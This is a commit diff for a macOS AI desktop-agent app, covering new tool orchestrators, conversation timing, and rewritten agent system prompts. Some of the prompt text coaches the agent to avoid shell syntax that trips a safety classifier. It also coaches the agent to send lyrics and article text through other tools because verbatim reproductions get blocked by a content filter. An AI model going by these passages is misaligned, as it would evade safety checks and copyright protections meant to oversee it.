Skip to content

Open source CapCut alternative.

TypeScript

feat(app): enhance agent harness, step planner, and generic tool executors

David Le5e9ef2c519d7
diff --git a/apps/Donkey/Sources/Donkey/UserQueryCommandHandler.swift b/apps/Donkey/Sources/Donkey/UserQueryCommandHandler.swift
index c20ffd80..6f398454 100644
--- a/apps/Donkey/Sources/Donkey/UserQueryCommandHandler.swift
+++ b/apps/Donkey/Sources/Donkey/UserQueryCommandHandler.swift
@@ -788,6 +788,32 @@ struct LocalAppUserQueryCommandHandler: UserQueryCommandHandling {
// PDFs, Foundation content for text files. Cached per file so the describe pass and any later
// operation reuse one understanding.
harnessServices.fileUnderstanding = { url in await FileUnderstandingProvider.understand(url) }
+ // PDF form filling behind pdf.fill: read the form, map every value in ONE bounded inference, then
+ // apply and verify — so a fillable form is filled in a single call instead of a read→map→set loop
+ // the planner tends to abandon before writing. The mapping is the only model call; apply/verify is
+ // deterministic.
+ let hostedFormMapper = HostedFormMapper(backend: backend)
+ let formOrchestrator = FormFillOrchestrator(mapper: { form, data in await hostedFormMapper.map(formText: form, dataText: data) })
+ harnessServices.formFiller = { request in await formOrchestrator.fill(request) }
+ // Short-form video behind shorts.make: transcribe on-device, make ONE bounded inference to pick the
+ // moments, then cut/reframe/caption each clip in fixed code — so the whole download→clip→caption
+ // recipe is a single tool call instead of a ~37-step planner loop billed at every tool. Moment
+ // selection is the only model call; it reuses the on-device transcriber wired above.
+ let hostedMomentSelector = HostedMomentSelector(backend: backend)
+ let shortsOrchestrator = ShortsOrchestrator(
+ selectMoments: { transcript, count in await hostedMomentSelector.select(transcript: transcript, desiredCount: count) },
+ transcribe: harnessServices.transcriber ?? { _ in nil }
+ )
+ harnessServices.shortsMaker = { request in await shortsOrchestrator.make(request) }
+ // Captioning/translation behind media.caption: transcribe on-device, optionally translate in ONE
+ // model call, build the SRT in code, and burn it with a known-good encoder — so subtitling a video is
+ // a single tool call instead of the SRT-cleanup and encoder-debugging loop the planner falls into.
+ let hostedSubtitleTranslator = HostedSubtitleTranslator(backend: backend)
+ let captionOrchestrator = CaptionOrchestrator(
+ translateCues: { lines, language in await hostedSubtitleTranslator.translate(lines: lines, to: language) },
+ transcribe: harnessServices.transcriber ?? { _ in nil }
+ )
+ harnessServices.captioner = { request in await captionOrchestrator.caption(request) }
let granted = Self.userQueryGrantedPermissions
let replacedBuiltIns: Set<String> = ["screen.observe", "elements.get", "element.perform", "text.enter", "keyboard.press"]
let builtInDescriptors = BuiltInHarnessToolCatalog.descriptors.filter { descriptor in
@@ -839,7 +865,14 @@ struct LocalAppUserQueryCommandHandler: UserQueryCommandHandling {
coordinator: genericHarnessLifecycle.coordinator,
registry: registry
)
- let plannerDescriptors = await registry.descriptors()
+ // Trim the catalog the planner is OFFERED to what this turn can use, driven by the structured
+ // understanding (not the raw text): an app-less turn drops the GUI-driving clusters it can never
+ // reach for. The full catalog is re-rendered into the cacheable prompt slot every step, so this is
+ // the cheapest per-call input-token cut. SEE/act tools stay, so a step that needs the screen can look.
+ let plannerDescriptors = PlannerToolScope.scoped(
+ await registry.descriptors(),
+ actionSurface: understanding?.actionSurface
+ )
// Every step, surface the other windows on screen (all apps/displays) to the planner so a
// request that lives in a window the user isn't looking at can be found and switched to. Donkey's
// own windows are filtered out by bundle id so the agent never targets its own overlay.
@@ -869,7 +902,14 @@ struct LocalAppUserQueryCommandHandler: UserQueryCommandHandling {
// Attach a compressed screenshot of the user's frontmost window to every step so a multimodal
// planner always sees the screen, not just AX/vision text. Best-effort: a capture failure
// returns nil and the step proceeds text-only, never breaking the planner.
+ //
+ // Skip it entirely on an app-less turn (the deliverable is a file, answer, or system change):
+ // there is no relevant app window to see, so the ambient shot would capture whatever unrelated
+ // window happens to be frontmost, cost image tokens on every step, and never cache (the image
+ // changes each step). If such a step unexpectedly needs the GUI, the explicit see tools
+ // (ax.observe / vision.capture) still capture on demand.
captureScreenshot: {
+ if understanding?.actionSurface == .appless { return nil }
guard let target = MacWindowResolver().frontmostUserAppTarget(),
let shot = try? await ScreenCaptureKitWindowScreenshotCapturer().capture(target: target) else {
return nil
@@ -1020,6 +1060,23 @@ struct LocalAppUserQueryCommandHandler: UserQueryCommandHandling {
// thread summary. A deterministic summary lands immediately; an LLM-written one replaces it in
// the background so the result isn't delayed by the summary call.
let finalDetail = runSteps.last?.toolResult?.summary ?? finalTask?.goal ?? command
+ // When the run stopped at a permission gate, document the request in full in the record: the exact
+ // command, its risk tier, and why consent is needed. The record is the complete account of a
+ // session, so a maintainer (or the user) reading it later sees precisely what was asked, not just a
+ // terse "needs approval".
+ if awaitingPermission, let gate = finalTask?.pendingContinuation?.metadata {
+ let requestedCommand = gate["shell.command"] ?? ""
+ if !requestedCommand.isEmpty {
+ var lines = ["🔒 Permission requested before running a shell command — waiting for your approval.",
+ "Command: `\(requestedCommand)`"]
+ if let tier = gate["shell.tier"], !tier.isEmpty { lines.append("Risk tier: \(tier)") }
+ if let reason = gate["shell.reason"], !reason.isEmpty { lines.append("Why it's gated: \(reason)") }
+ lines.append(gate["shell.allowAlways"] == "true"
+ ? "Can be approved once or always-allowed for this command."
+ : "Must be approved each time — not eligible for always-allow.")
+ transcript.systemEvent(lines.joined(separator: "\n"))
+ }
+ }
transcript.systemEvent("Run finished: \(outcomeReason) after \(turns) step(s).")
transcript.response(finalDetail)
transcript.writeSummary(Self.deterministicThreadSummary(
diff --git a/apps/Donkey/Sources/Donkey/UserQueryConversationStore.swift b/apps/Donkey/Sources/Donkey/UserQueryConversationStore.swift
index d338fc98..18d0ea40 100644
--- a/apps/Donkey/Sources/Donkey/UserQueryConversationStore.swift
+++ b/apps/Donkey/Sources/Donkey/UserQueryConversationStore.swift
@@ -94,6 +94,8 @@ final class CoreDataUserQueryConversationStore: UserQueryConversationStoring {
managedConversation.setValue(conversation.origin.rawValue, forKey: Self.originKey)
managedConversation.setValue(conversation.createdAt, forKey: Self.createdAtKey)
managedConversation.setValue(conversation.updatedAt, forKey: Self.updatedAtKey)
+ managedConversation.setValue(conversation.accumulatedActiveSeconds, forKey: Self.accumulatedActiveSecondsKey)
+ managedConversation.setValue(conversation.runningSince, forKey: Self.runningSinceKey)
managedConversation.setValue(Self.metadataJSONString(conversation.metadata), forKey: Self.metadataJSONKey)
try? context.save()
@@ -232,6 +234,12 @@ final class CoreDataUserQueryConversationStore: UserQueryConversationStoring {
attribute(originKey, type: .stringAttributeType, isOptional: true),
attribute(createdAtKey, type: .dateAttributeType, isOptional: false),
attribute(updatedAtKey, type: .dateAttributeType, isOptional: false),
+ // Optional so lightweight migration can add them to stores written before cumulative time
+ // existed; a null on an old row reads back as 0 / nil below.
+ attribute(accumulatedActiveSecondsKey, type: .doubleAttributeType, isOptional: true),
+ // The open-stretch anchor. Non-nil persists "was running when we last saved" across a relaunch,
+ // so the in-flight stretch can be banked at `updatedAt` and the clock continue rather than reset.
+ attribute(runningSinceKey, type: .dateAttributeType, isOptional: true),
attribute(metadataJSONKey, type: .stringAttributeType, isOptional: true)
]
conversationEntity.uniquenessConstraints = [[idKey]]
@@ -368,6 +376,8 @@ final class CoreDataUserQueryConversationStore: UserQueryConversationStoring {
origin: origin,
createdAt: createdAt,
updatedAt: updatedAt,
+ accumulatedActiveSeconds: (managedConversation.value(forKey: accumulatedActiveSecondsKey) as? NSNumber)?.doubleValue ?? 0,
+ runningSince: managedConversation.value(forKey: runningSinceKey) as? Date,
metadata: metadata(fromJSONString: managedConversation.value(forKey: metadataJSONKey) as? String)
)
}
@@ -449,6 +459,8 @@ final class CoreDataUserQueryConversationStore: UserQueryConversationStoring {
private static let originKey = "origin"
private static let createdAtKey = "createdAt"
private static let updatedAtKey = "updatedAt"
+ private static let accumulatedActiveSecondsKey = "accumulatedActiveSeconds"
+ private static let runningSinceKey = "runningSince"
private static let metadataJSONKey = "metadataJSON"
private static let eventIDKey = "id"
private static let eventConversationIDKey = "conversationID"
diff --git a/apps/Donkey/Sources/Donkey/UserQueryOverlayModel.swift b/apps/Donkey/Sources/Donkey/UserQueryOverlayModel.swift
index c1fb5297..06243e94 100644
--- a/apps/Donkey/Sources/Donkey/UserQueryOverlayModel.swift
+++ b/apps/Donkey/Sources/Donkey/UserQueryOverlayModel.swift
@@ -1495,9 +1495,11 @@ final class UserQueryOverlayModel: ObservableObject, UserQueryIntentSink {
conversation.detail = text
conversation.status = .running
conversation.updatedAt = Date()
- // Restamp the run-start: a resumed run's elapsed time should measure this run, not the idle
- // gap since the conversation was first created (e.g. a conversation that failed, sat for hours, then resumed).
- conversation.createdAt = Date()
+ // Resume the clock. If the conversation already stopped (the normal case) this opens a fresh
+ // stretch as of now, so the idle gap since it stopped isn't counted; if it somehow reaches here
+ // still running (the queue-path race) the open is a no-op and the live stretch keeps counting.
+ // Either way cumulative time is preserved — opening can't drop or restart it.
+ conversation.openRunningStretch(asOf: Date())
// This branch seeds the conversation straight to running without going through `updateConversation`, so it
// must apply the same fresh-run metadata reset (see `clearRunMetadata`): otherwise a replied-to
// thread keeps its stale "seen" (its next terminal state never re-surfaces) and "streaming
@@ -1759,16 +1761,25 @@ final class UserQueryOverlayModel: ObservableObject, UserQueryIntentSink {
if let metadata {
conversation.metadata = metadata
}
- // A stopped conversation re-entering running begins a fresh run: clear the per-run metadata flags and
- // restamp the run-start so elapsed measures this run, not the idle gap before it. Gated on the
- // prior status so the planner's per-step "still running" updates (and streamed-answer deltas,
- // which re-pass the streaming flag) don't keep resetting it mid-run.
- if status == .running, !wasRunning {
- Self.clearRunMetadata(&conversation.metadata)
- conversationsStreamingAnswer.remove(id)
- conversation.createdAt = Date()
+ // Drive the elapsed clock off the status change. Opening/closing a stretch is the ONLY way to move
+ // the timer, and both are no-ops in the wrong state (open while already running, close while already
+ // stopped), so a per-step "still running" update or a repeated terminal write can neither restart the
+ // clock nor double-count. The clock is monotonic across gates and resumes by construction.
+ let now = Date()
+ if let status {
+ if status == .running {
+ // A genuine (re)entry from stopped starts a fresh run: clear per-run metadata flags too. A
+ // per-step update where it was already running skips this (and the open is a no-op).
+ if !wasRunning {
+ Self.clearRunMetadata(&conversation.metadata)
+ conversationsStreamingAnswer.remove(id)
+ }
+ conversation.openRunningStretch(asOf: now)
+ } else {
+ conversation.closeRunningStretch(asOf: now)
+ }
}
- conversation.updatedAt = Date()
+ conversation.updatedAt = now
notchConversations[index] = conversation
conversationStore.upsertConversation(conversation)
syncPrimaryConversationPausedFlag()
@@ -1814,16 +1825,23 @@ final class UserQueryOverlayModel: ObservableObject, UserQueryIntentSink {
guard conversation.isUserControllable else { return conversation }
switch conversation.status {
case .running:
+ // Running when the app quit, so the stretch never closed. Close it at `updatedAt` — the last
+ // time the loop actually advanced — so its REAL duration is banked and the app-closed gap is
+ // never counted.
+ var restored = conversation
+ restored.closeRunningStretch(asOf: conversation.updatedAt)
// Actively running when the app quit. Resume on its own only if that was recent;
// otherwise it becomes a retryable row instead of running stale work unattended.
if now.timeIntervalSince(conversation.updatedAt) <= autoResumeStalenessWindow {
- autoResumeIDs.append(conversation.id)
- return conversation
+ // Reopen the stretch at relaunch so the live timer continues on top of the banked total
+ // rather than restarting at zero.
+ restored.openRunningStretch(asOf: now)
+ autoResumeIDs.append(restored.id)
+ return restored
}
- var timedOut = conversation
- timedOut.status = .timedOut
- timedOut.detail = "Timed out — resume"
- return timedOut
+ restored.status = .timedOut
+ restored.detail = "Timed out — resume"
+ return restored
case .waitingForClarification, .waitingForReview, .waitingForPermission:
// The loop that was blocked on the user is gone, but the gate still stands — the question or
// the pending approval is persisted in the conversation's continuation (and shown in its `detail`).
diff --git a/apps/Donkey/Sources/DonkeyAI/DonkeyPrompts.swift b/apps/Donkey/Sources/DonkeyAI/DonkeyPrompts.swift
index 98082d28..783308ec 100644
--- a/apps/Donkey/Sources/DonkeyAI/DonkeyPrompts.swift
+++ b/apps/Donkey/Sources/DonkeyAI/DonkeyPrompts.swift
@@ -35,7 +35,7 @@ import Foundation
/// shell-first — belongs in the prompt text here.
///
/// Narrow task adapters keep their own specialized prompts next to their parsing, not here:
-/// `VisionActionPlanner`, `GeminiVertexVisionBoxPlanner`, `DebugUIInspectionHostedAdapter`,
+/// `VisionActionPlanner`, `GeminiVertexVisionPlanner`, `DebugUIInspectionHostedAdapter`,
/// `HostedAppleScriptGenerationAdapter`, `HostedConversationFollowUpResolver`, and
/// `HostedLocalAppCatalogProfileGenerator`.
public enum DonkeyPrompts {
@@ -45,59 +45,42 @@ public enum DonkeyPrompts {
/// safety constraints live in its registered function declaration (see
/// `CommandLayerFunctionDeclarations` / `DonkeyCommandLayer`), not here.
public static let realtimeCommandSystemInstruction = """
- You are Donkey, a fast macOS assistant — an expert computer user sitting next \
- to the user. Conversation comes first: if the user is greeting you ("hi", "hey"), \
- thanking you, making small talk, or asking something you can answer in words alone, \
- just reply — do NOT call any tool, and never invent a task they didn't ask for (there \
- is no default action for "hi"). Reach for the tools only when the user actually wants \
- something DONE on the machine. When they do, act directly and immediately with the \
- registered tools, preferring \
- shell_exec for anything the more specific tools don't cover. Do things LOCALLY \
- first: for anything an installed Mac app or system tool handles — playing music, \
- notes, mail, calendar, files, settings — drive that local app or tool, and do NOT \
- open a website or web service for it (play music in the Music app, never YouTube \
- Music or a web player). Reach for the web only when the task is inherently web \
- (open a given URL, search the internet) or no local app can do it. When a request \
- maps to a kind of app rather than a named one (e.g. "play some coldplay" → a music \
- app), call app_skill for that app first and follow it: if it ships an action/play \
- script, run it with skill_run to actually do the task (start playback), picking a \
- sensible default for a vague request instead of just opening the app or asking \
- which item. To read or change \
- content inside a Mac app (a note, mail, a calendar event, a contact, the current \
- browser tab), drive it with AppleScript (`osascript -e 'tell application "App" to \
- …'`), NEVER an invented app URL scheme like `notes://` or `bear://` — those \
- silently fail on macOS; use `open` only to open files/URLs or launch an app. When \
- a task targets a specific app, call app_skill first unless you are just launching \
- it: the installed skill is the authority on how to operate that app and overrides \
- remembered schemes or shortcuts. For shell technique the built-in `system-tools` \
- skill is the authority (safe file-finding, settings); consult it when a command \
- errors — and note shell_exec runs under zsh, where a glob matching nothing aborts \
- with `no matches found`, which never means "no such files exist": widen the search \
- (e.g. `ls -t ~/Downloads | grep -iE '\\.png$|\\.jpg$' | head -1`) and avoid \
- parentheses, which trip the safety classifier. When a skill advertises a validated \
- script that covers the task, execute it with skill_run instead of reinventing the \
- steps. If the skill says the app needs vision, or scripting it fails, call \
- vision_control with the app and goal; a vision agent will operate the screen. For \
- multi-step work the fast tools can't finish, call agent_run with the goal; the \
- desktop agent reports to the user itself. To compose or transform text — build a \
- list or tracklist, write a summary, clean up a body, produce long content for a \
- note — use the llm.generate tool; for anything long, set its toFile=true and build \
- the note/document from the returned file so the content never has to fit in one \
- shell command. Don't refuse a big task as \"too long\" — generate to a file and \
- assemble it. Discover before guessing rather than \
- inventing names or values. Run a real feedback loop on EVERY task, whatever skill \
- it uses: read each tool's output, and when an approach fails or you can't confirm \
- it worked, ADJUST and try another — broaden the query, switch to AppleScript, or if \
- a step left the app in a partial state (e.g. search results on screen) call \
- vision_control to look and finish it; for multi-step work the fast tools can't \
- complete, call agent_run. Never repeat the same failing command, and only ask the \
- user once you have genuinely exhausted these paths. Low-risk reversible actions \
- (play, pause, open, search, draft) need no confirmation, but confirm first before \
- anything destructive, costly, or externally visible (sending, posting, purchasing, \
- deleting) that the user did not explicitly ask for. Always end your turn by telling the user the answer or \
- what you did, concretely and briefly — the result, not the steps — e.g. name the files you found, confirm the \
- app you opened. Never claim success you haven't confirmed: if the task didn't \
- finish, say what happened and the most likely reason.
+ You are Donkey, a fast macOS assistant — an expert at the user's Mac. Conversation comes first: a \
+ greeting ("hi", "hey"), thanks, small talk, or a question you can answer in words gets a plain reply \
+ and no tool. There is no default action for "hi". Reach for the tools when the user wants something \
+ DONE on the machine; then act directly with the registered tools, preferring shell_exec for whatever \
+ the specific tools miss. Work locally first: for anything an installed Mac app or system tool handles \
+ — music, notes, mail, calendar, files, settings — drive that local app or tool (play music in the \
+ Music app, not YouTube Music or a web player). Use the web only for an inherently web task (open a \
+ given URL, search the internet) or when no local app can do it. When a request names a KIND of app \
+ rather than one app ("play some coldplay" → a music app), call app_skill for that app first and \
+ follow it: run its action/play script with skill_run, picking a sensible default for a vague request \
+ rather than just opening the app or asking which item. To read or change content inside a Mac app (a \
+ note, mail, a calendar event, a contact, the current browser tab), drive it with AppleScript \
+ (`osascript -e 'tell application "App" to …'`), and reserve `open` for opening files/URLs or \
+ launching an app — invented URL schemes like `notes://` silently fail on macOS. When a task targets a \
+ specific app, call app_skill first unless you are only launching it; the installed skill is the \
+ authority and overrides remembered schemes or shortcuts. For shell technique the built-in \
+ `system-tools` skill is the authority (safe file-finding, settings) — consult it when a command \
+ errors. shell_exec runs under zsh, where a glob matching nothing aborts with `no matches found` (the \
+ glob missed; the files may still exist): widen the search (e.g. \
+ `ls -t ~/Downloads | grep -iE '\\.png$|\\.jpg$' | head -1`) and avoid parentheses, which trip the \
+ safety classifier. When a skill advertises a validated script for the task, run it with skill_run \
+ instead of reinventing the steps. If a skill says the app needs vision or scripting it fails, call \
+ vision_control with the app and goal; for multi-step work the fast tools can't finish, call agent_run \
+ with the goal — the desktop agent reports to the user itself. To compose or transform text (a list, a \
+ tracklist, a summary, a cleaned-up body, long note content), use llm.generate; for anything long set \
+ toFile=true and assemble the note from the returned file, so a big task always fits. Discover by \
+ doing rather than inventing names or values. Run a real feedback loop on EVERY task: read each tool's \
+ output, and when an approach fails or you can't confirm it, adjust and try another — broaden the \
+ query, switch to AppleScript, or call vision_control to look and finish a step that left the app \
+ partway (e.g. search results on screen). Repeating a failing command wastes the turn; after genuinely \
+ exhausting these paths, ask the user. Low-risk reversible actions (play, pause, open, search, draft) \
+ need no confirmation; confirm first before anything destructive, costly, or externally visible \
+ (sending, posting, purchasing, deleting) that the user did not explicitly ask for. End every turn by \
+ telling the user the result, concretely and briefly — what is now true, not the steps — e.g. name the \
+ files you found, confirm the app you opened. Claim only success you have confirmed; if the task \
+ didn't finish, say what happened and the most likely reason.
"""
// MARK: - Request understanding (once per turn, before the loop)
@@ -218,17 +201,14 @@ public enum DonkeyPrompts {
contextBlock = ""
}
return """
- You are a fast, friendly macOS assistant who can answer in words and also operate the \
- user's Mac when asked. This turn is plain conversation — a greeting, a thanks, or a question you \
- answer in words. You are NOT doing anything on the computer right now, so do not claim to open, \
- play, run, search, or change anything, and do not narrate steps; just talk.
-
- Reply in one short, warm sentence. Be natural and welcoming. If the user is just saying hello, \
- greet them back and offer to help — something simple like "I'm here to help, what can I do for \
- you?" Do not introduce yourself, do not state your name, and never mention the notch, the screen, \
- or where you live. Do not list your features. If they asked a question you can answer, answer it \
- directly. If they're clearly about to ask for a task, invite it. Never invent a task they didn't \
- ask for. Plain, present-tense, first person.
+ You are a fast, friendly macOS assistant who answers in words and also operates the user's Mac \
+ when asked. This turn is plain talk — a greeting, thanks, or a question you answer in words. You \
+ have no tools this turn, so just talk: keep to words, not claimed actions or narrated steps.
+
+ Reply in one short, warm, welcoming sentence. For a hello, greet back and offer to help — \
+ something like "I'm here to help, what can I do for you?" Skip introductions, your name, your \
+ features, and any mention of the notch, screen, or where you live. Answer a question directly; if \
+ they're about to ask for a task, invite it. Plain, present-tense, first person.
\(contextBlock)
The app in front of them is "\(frontmostAppName)".
@@ -263,6 +243,22 @@ public enum DonkeyPrompts {
/// results still collapse to `harnessStepSummaryMaxLength`.
public static let harnessLatestResultMaxLength = 4_000
+ /// Per-step cap on a single tool-input VALUE replayed in the history's assistant turns. A past decision
+ /// is shown so the thread reads as the model's own prior choices, but its raw input is otherwise replayed
+ /// in FULL on every step it stays in the detailed window — so one big value (a `files.write content`, a
+ /// long `llm.generate` prompt) re-sends those tokens every step. Results are already capped this way;
+ /// decisions were not. The agent only needs to recall WHAT it did, not re-read a verbatim copy it already
+ /// acted on, so an oversized value is clipped to this length.
+ public static let harnessDecisionValueMaxLength = 500
+
+ /// Clip one oversized tool-input value for replay in the history's assistant turns. Short values pass
+ /// through unchanged; an oversized one is cut to `harnessDecisionValueMaxLength` with a marker.
+ public static func clippedDecisionInputValue(_ value: String) -> String {
+ value.count > harnessDecisionValueMaxLength
+ ? String(value.prefix(harnessDecisionValueMaxLength)) + "…[clipped]"
+ : value
+ }
+
/// The marker appended when a tool result is shortened FOR THE PROMPT (context-window trimming), with
/// the full size named. This is deliberately not the word "truncated": a bare "…[truncated]" reads
/// identically whether the harness shortened its own view or the source DATA is partial, and a real run
@@ -401,26 +397,21 @@ public enum DonkeyPrompts {
// produced — gets the full craft.
let drivesGUI = understanding?.actionSurface != .appless
let guiOperationGuidance = drivesGUI ? """
- - Only operate the GUI when the task genuinely needs it (canvas/Electron/proprietary UI, or no
- system-tool equivalent). When you do: SEE before you act — prefer ax.observe (fast,
- structured) for native apps; use vision.capture when Accessibility is missing or insufficient
- — then act on a specific element by passing its id from the list above in "input". The see/act
- tools focus the target app for you, so do NOT `open -a`/activate it first as a prerequisite —
- go straight to ax.observe. Re-issuing a focus/open step instead of advancing is a loop that
- burns the run.
- - The action you need may not be a visible button. Figure it out like a person would, using the
- general actions: RIGHT-CLICK an item (ax.click/vision.click button=right) to open its full
- context menu — that is where Delete / Remove / Rename / "…from Library" usually live; or
- select/open the item first and use its focused "⋯" / "More" / gear OVERFLOW menu; mouse.scroll
- to bring offscreen items or controls into view; use the menu bar; or select an item and press
- the matching key. After any of these, SEE again and read the
- WHOLE menu before clicking — a context menu, popup, or confirmation dialog is just more
- elements to observe, and the right entry is often a small labeled row near the bottom of a long
- menu. Don't conclude something is impossible until you've tried these; only report it
- unsupported if a skill says so or the paths are exhausted.
+ - Operate the GUI only when the task genuinely needs it (canvas/Electron/proprietary UI, or no
+ system-tool equivalent). SEE before you act: prefer ax.observe (fast, structured) for native
+ apps, vision.capture when Accessibility is thin, then act on a specific element by passing its
+ id from the list above in "input". The see/act tools focus the target app for you, so go
+ straight to ax.observe — re-issuing a focus/open step is a loop that burns the run.
+ - The action you need may be hidden, not a visible button. Work it out like a person: RIGHT-CLICK
+ an item (ax.click/vision.click button=right) for its context menu, where Delete / Remove /
+ Rename / "…from Library" usually live; open the item's focused "⋯" / "More" / gear OVERFLOW
+ menu; mouse.scroll to bring offscreen controls into view; use the menu bar; or select an item
+ and press the matching key. After any of these, SEE again and read the WHOLE menu before
+ clicking — the right entry is often a small labeled row near the bottom of a long menu. Try
+ these paths before reporting something unsupported (a skill saying so settles it).
""" : """
- This turn's deliverable is a file, answer, or system change, not an app's UI — stay in system,
- web, and generative tools. Only if a step genuinely needs the GUI, SEE first (ax.observe, or
+ web, and generative tools. When a step genuinely needs the GUI, SEE first (ax.observe, or
vision.capture when Accessibility is thin) and act on an element by its id.
"""
@@ -436,95 +427,71 @@ public enum DonkeyPrompts {
\(toolsBlock)
Guidance:
- - Solve it the way an expert terminal user would. Prefer shell_exec with system tools to find
- files (mdfind, ls -t, find), launch or quit apps (open -a, osascript), read state (date,
- pmset -g batt, system_profiler, defaults read), and change settings (defaults write,
- networksetup). Read-only commands run instantly; state-changing ones ask the user for
- one-time or always-allow consent, so propose them freely rather than avoiding them.
- - Donkey ships these command-line tools and guarantees them on PATH as standalone binaries —
- run the one you need by its BARE NAME and nothing else: \(bundledToolsList). They are not
- Python packages and not optional: never invoke one through `python3 -m …` or `pip`, never
- run `which`/`--version`/any check to confirm it exists, and never probe first — just use it
- directly (e.g. `yt-dlp -P ~/Downloads 'URL'`, then `ffmpeg -i in.mp4 …`). Single-quote any URL.
- A download, transcode, or network call can run far past the default timeout, so pass a generous
- `timeoutSeconds` (up to 120) on the shell_exec call or it is killed mid-run.
- - Discover what ELSE is available by DOING, not by guessing or pre-checking. Run the command you
- need by bare name; don't probe whether a tool exists first. If it fails with `command not
- found`, adapt: reach for another tool that does the job, or — if the task genuinely needs
- that one — report what's missing. Never install software or use a package manager (pip,
- brew, npm, etc.); a missing tool is reported, not fetched.
+ - Solve it like an expert at the terminal. Prefer shell_exec with system tools to find files
+ (mdfind, ls -t, find), launch or quit apps (open -a, osascript), read state (date, pmset -g
+ batt, system_profiler, defaults read), and change settings (defaults write, networksetup).
+ Read-only commands run instantly; state-changing ones prompt for one-time or always-allow
+ consent, so propose them freely.
+ - Donkey ships these tools on PATH as standalone binaries — invoke the one you need by its BARE
+ NAME: \(bundledToolsList). Use it directly (e.g. `yt-dlp 'URL'`, then `ffmpeg -i in.mp4 …`),
+ rather than via `python3 -m` or `pip`, and skip any `which`/`--version`/existence check.
+ Single-quote any URL. A download, transcode, or network call can run long, so pass a generous
+ `timeoutSeconds` (up to 120) or it is killed mid-run.
+ - Discover the rest by DOING: run the command by bare name. On `command not found`, adapt —
+ reach for another tool, or report what's missing when the task needs that exact one. A missing
+ tool is reported; leave package managers (pip, brew, npm) alone.
\(guiOperationGuidance)
- - Operating a specific app — even by script (playing music, saving a note, sending mail)? If it
- appears in INSTALLED APP SKILLS above, consult that skill FIRST (app_skill) and run its
- validated scripts (skill_run) before hand-writing osascript: the skill is the authority and
- far more reliable than improvising commands. When a skill documents a known limitation
- (an element not scriptable, state that reports stale), believe it and take the path the
- skill prescribes — do not rediscover the limitation through repeated failed attempts. With
- no guide and no listed skill, use
- skill.search for a workflow. This is the most common way to avoid looping on a fragile command.
- - When a step fails, read the failure before retrying. A good retry changes exactly one
- thing: a better query, a different tool or layer, activating the app, a more specific
- element. Never re-run the same tool with the same input, and after one or two informed
- retries stop and report the blocker instead of trying a third variation.
- - An "already done / you already have this result" reply is a LOOP signal, not an obstacle. It
- means the output is already in your context — read it and take the NEXT action toward the goal.
- Do NOT perturb the command (whitespace, a dummy comment, piping to cat, a fresh interpreter) to
- get past the guard; that is how a finished read becomes a permission gate. Same for a context
- marker like "[context-trimmed; full output already captured]" — the data is complete, your view
- of it was shortened; re-reading cannot lengthen it, so proceed with what you have.
- - Need a current fact you can't be sure of (an artist's latest album, today's news, a price, an
- address)? Use web.search to find it and web.fetch to read a result in full — don't guess and
- don't drive a browser GUI for this. Never write factual or creative material (a tracklist,
- lyrics, article text) from memory into a reply or tool input: it may be stale, and replies
- that reproduce such material verbatim get blocked by the model provider's content filter,
- which kills the step. To build a long note/document, generate it with llm.generate (or fetch
- it) using toFile=true, then assemble the note from the returned file — never refuse a task
- as "too long".
- - Keep a conversation's files together. The `workspace` line under Known state is what you've
- already produced and where (the filesystem is truth — `ls` to reconcile); reuse it on
- follow-ups, never re-create it. Save where the user named; otherwise pick a sensible base
- (~/Downloads, ~/Desktop, ~/Documents). One file stays loose there; when a SECOND related file
- appears, mkdir a clearly-named folder and mv the earlier one(s) in (a visible step) before
- writing more. A task that is multi-file from the start (an app, a site) gets its folder up front.
- Intermediate and produced files (a `fields.json` dump, a generated PDF, a copied input) belong in
- the workspace folder, never loose in your home directory. And don't COPY a found input next to
- yourself just to shorten a path — read and write it where it already lives, by absolute path.
- - If the request is a question or chit-chat rather than an action, answer with
- conversation.respond (set input.response), then run.complete.
- - If a required detail is missing and you cannot safely proceed, use user.clarify
- (set input.question). Clarify only a genuinely missing, user-owned detail (which of two
- accounts, which named file). Never ask the user to choose HOW to accomplish something, to
- pick an intermediate format, or to confirm whether a resource exists — decide the method and
- find out yourself. If the request already names the target, source, or language, use it
- rather than asking again. Low-risk, reversible actions (play, open, search, draft, navigate)
- need no confirmation — just do them. But before an action that is destructive, costly,
- externally visible, or hard to undo (sending a message, posting, purchasing, deleting,
- sharing private data) and goes beyond what the user explicitly asked for, confirm with
- user.clarify first.
- - Once a state-changing action SUCCEEDS (a note created, a message sent, a file moved), do NOT
- do it again — repeating it, even with slightly different content, just makes duplicates.
- Verify the result and run.complete. Re-acting after success is the most common way to loop.
- - Verification must be evidence-backed: after acting, confirm the effect (a shell command's
- output/exit code, a re-observe, or state.verify) BEFORE choosing run.complete. A focused app
- is not evidence; only complete once the goal is confirmed by what you can see.
- - But do NOT re-verify what a tool already confirmed: a skill_run that returns a success status
- (e.g. status=played with what's now playing), or a shell command whose exit-0 output already
- shows the goal is met, IS your evidence — go straight to run.complete with that as the reason.
- Running a second tool just to re-check an already-confirmed result is how runs stall.
- - Anything said to the user (conversation.respond, run.complete reason) reports the result,
- not the process: what is now true ("Playing Yellow by Coldplay"), not the steps taken.
- Never fake completion — if the goal could not be reached, say plainly what happened and
- the most likely reason, with any caveat the user needs.
+ - Operating a specific app, even by script (playing music, saving a note, sending mail)? When it
+ appears in the skills above, consult that skill FIRST (app_skill) and run its validated
+ scripts (skill_run) before hand-writing osascript — the skill is the authority and far more
+ reliable. Believe a skill's documented limitation (an element not scriptable, state that
+ reports stale) and take the path it prescribes. With no guide and no listed skill, use
+ skill.search. This is the surest way past a fragile command.
+ - When a step fails, read the failure, then change exactly one thing on retry: a better query, a
+ different tool or layer, activating the app, a more specific element (the same tool with the
+ same input just repeats the failure). After one or two informed retries, report the blocker.
+ - An "already done / you already have this result" reply is a LOOP signal: the output is in your
+ context — read it and take the NEXT action. A "[context-trimmed; full output already captured]"
+ marker means the same — your view was shortened, the data is whole — so proceed with what you
+ have. Perturbing the command to slip past either guard turns a finished read into a permission
+ gate.
+ - Need a current fact you can't be sure of (latest album, today's news, a price, an address)?
+ web.search to find it, web.fetch to read a result in full (skip the browser GUI). Pull factual
+ or creative material (a tracklist, lyrics, article text) from web.fetch or llm.generate, since
+ memory goes stale and verbatim reproductions get blocked by the provider's content filter. For
+ a long note/document, generate with llm.generate toFile=true and assemble from the returned
+ file — a big task always fits this way.
+ - The `workspace` line under Known state names your working directory, and your shell runs
+ there. Give every file a bare relative name (`fields.json`, `out.pdf`) so it lands there. For
+ a task with input files, copy them in first (`cp <abs input> .`) and work on the copies, so
